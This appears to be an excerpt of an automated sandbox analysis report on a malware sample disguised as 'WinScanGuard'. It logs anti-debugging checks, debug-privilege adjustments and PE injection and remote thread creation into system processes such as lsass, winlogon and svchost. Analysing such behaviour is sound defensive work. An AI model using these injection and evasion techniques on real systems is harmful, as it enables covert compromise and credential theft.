Source: dwm.exe, 0000001E.00000002.2933213881.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: Amcache.hve.10.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDBBEDC FindFirstFileExW,	13_2_000001A00BDBBEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B62BEDC FindFirstFileExW,	16_2_0000020D0B62BEDC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF61550823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose,	16_2_00007FF61550823C
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615502978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove,	16_2_00007FF615502978
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F1560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	16_2_00007FF6154F1560
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6154F35B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose,	16_2_00007FF6154F35B8
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615517B4C FindFirstFileW,FindNextFileW,FindClose,	16_2_00007FF615517B4C
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878BBEDC FindFirstFileExW,	21_2_00000242878BBEDC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC64BEDC FindFirstFileExW,	24_2_00000225DC64BEDC
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AEBEDC FindFirstFileExW,	25_2_00000202C0AEBEDC
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_04029AE0 FindFirstFileExW,	26_2_04029AE0
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66130BEDC FindFirstFileExW,	27_2_000002A66130BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66136BEDC FindFirstFileExW,	27_2_000002A66136BEDC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14BBEDC FindFirstFileExW,	30_2_000002BAB14BBEDC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F4BEDC FindFirstFileExW,	31_2_0000026A87F4BEDC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537ABEDC FindFirstFileExW,	36_2_00000179537ABEDC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D4BEDC FindFirstFileExW,	36_2_0000017953D4BEDC

Source: C:\Windows\$sxr-mshta.exe

13_2_00007FF7142F1008

Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_04000CE3 mov eax, dword ptr fs:[00000030h]	26_2_04000CE3
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_040075D8 mov eax, dword ptr fs:[00000030h]	26_2_040075D8
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_040087F7 mov eax, dword ptr fs:[00000030h]	26_2_040087F7
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_040218E3 mov eax, dword ptr fs:[00000030h]	26_2_040218E3
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_040281D8 mov eax, dword ptr fs:[00000030h]	26_2_040281D8
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_040293F7 mov eax, dword ptr fs:[00000030h]	26_2_040293F7

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\dllhost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\dllhost.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\$sxr-mshta.exe

Code function: 13_2_000001A00BDB7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

13_2_000001A00BDB7F10

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140001368 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,K32EnumProcesses,OpenProcess,K32EnumProcessModules,ReadProcessMemory,CloseHandle,FindCloseChangeNotification,GetProcessHeap,HeapFree,RtlDeleteBoundaryDescriptor,HeapFree,

6_2_0000000140001368

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\$sxr-powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\dllhost.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDB7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000001A00BDB7F10
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_000001A00BDBB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	13_2_000001A00BDBB5AC
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_00007FF7142F1ADC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	13_2_00007FF7142F1ADC
Source: C:\Windows\$sxr-mshta.exe	Code function: 13_2_00007FF7142F1800 SetUnhandledExceptionFilter,	13_2_00007FF7142F1800
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B627F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000020D0B627F10
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_0000020D0B62B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0000020D0B62B5AC
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF615508FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF615508FA4
Source: C:\Windows\$sxr-cmd.exe	Code function: 16_2_00007FF6155093B0 SetUnhandledExceptionFilter,	16_2_00007FF6155093B0
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878BB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000242878BB5AC
Source: C:\Windows\$sxr-powershell.exe	Code function: 21_2_00000242878B7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_00000242878B7F10
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC64B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00000225DC64B5AC
Source: C:\Windows\System32\winlogon.exe	Code function: 24_2_00000225DC647F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	24_2_00000225DC647F10
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AE7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_00000202C0AE7F10
Source: C:\Windows\System32\lsass.exe	Code function: 25_2_00000202C0AEB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	25_2_00000202C0AEB5AC
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_04029428 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_04029428
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_04026964 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	26_2_04026964
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Code function: 26_2_0402667A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_0402667A
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A661307F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_000002A661307F10
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66130B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_000002A66130B5AC
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A661367F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_000002A661367F10
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_000002A66136B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_000002A66136B5AC
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14B7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002BAB14B7F10
Source: C:\Windows\System32\dwm.exe	Code function: 30_2_000002BAB14BB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000002BAB14BB5AC
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F47F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_0000026A87F47F10
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000026A87F4B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_0000026A87F4B5AC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537AB5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00000179537AB5AC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_00000179537A7F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_00000179537A7F10
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D4B5AC RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_0000017953D4B5AC
Source: C:\Windows\System32\svchost.exe	Code function: 36_2_0000017953D47F10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	36_2_0000017953D47F10

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Memory written: C:\Windows\SysWOW64\dllhost.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1A0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4000000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 20E0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 23C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC670000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC6F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0B70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A879C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2F90000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2230000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 23E0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 1450000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC7B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0C30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A661450000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAB14E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 179537D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D590000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25306E60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC750000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6613F0000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3200000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2250000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 2400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\dllhost.exe	Memory written: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe base: 1470000 value starts with: 4D5A

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC6129A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D29A0
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe EIP: 4002102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe EIP: 20E2102
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC6729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0B129A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 613329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AF1D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC6F29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0B729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 613929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AF2029A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 879C29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 537729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D5329A0
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: unknown EIP: 2F92102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe EIP: 2232102
Source: C:\Windows\SysWOW64\dllhost.exe	Thread created: C:\Program Files (x86)\WWvRtdUZZZirKKsEfpbPzrCIpjHkNCubfPaYwidQSHYMBQUEtxZljoDcrOQsfKtQSiG\PHZMpSLEzcFKaRUZszZmeOVApLd.exe EIP: 23E2102
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC7B29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C0C329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 614529A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B14E29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 87F729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 537D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D5929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6E629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B3929A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBFD29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 590429A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A9E729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 731629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E8629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 473C29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F9D29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 83BC29A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D3F729A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A41529A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BDF329A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C02629A0
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DC7529A0
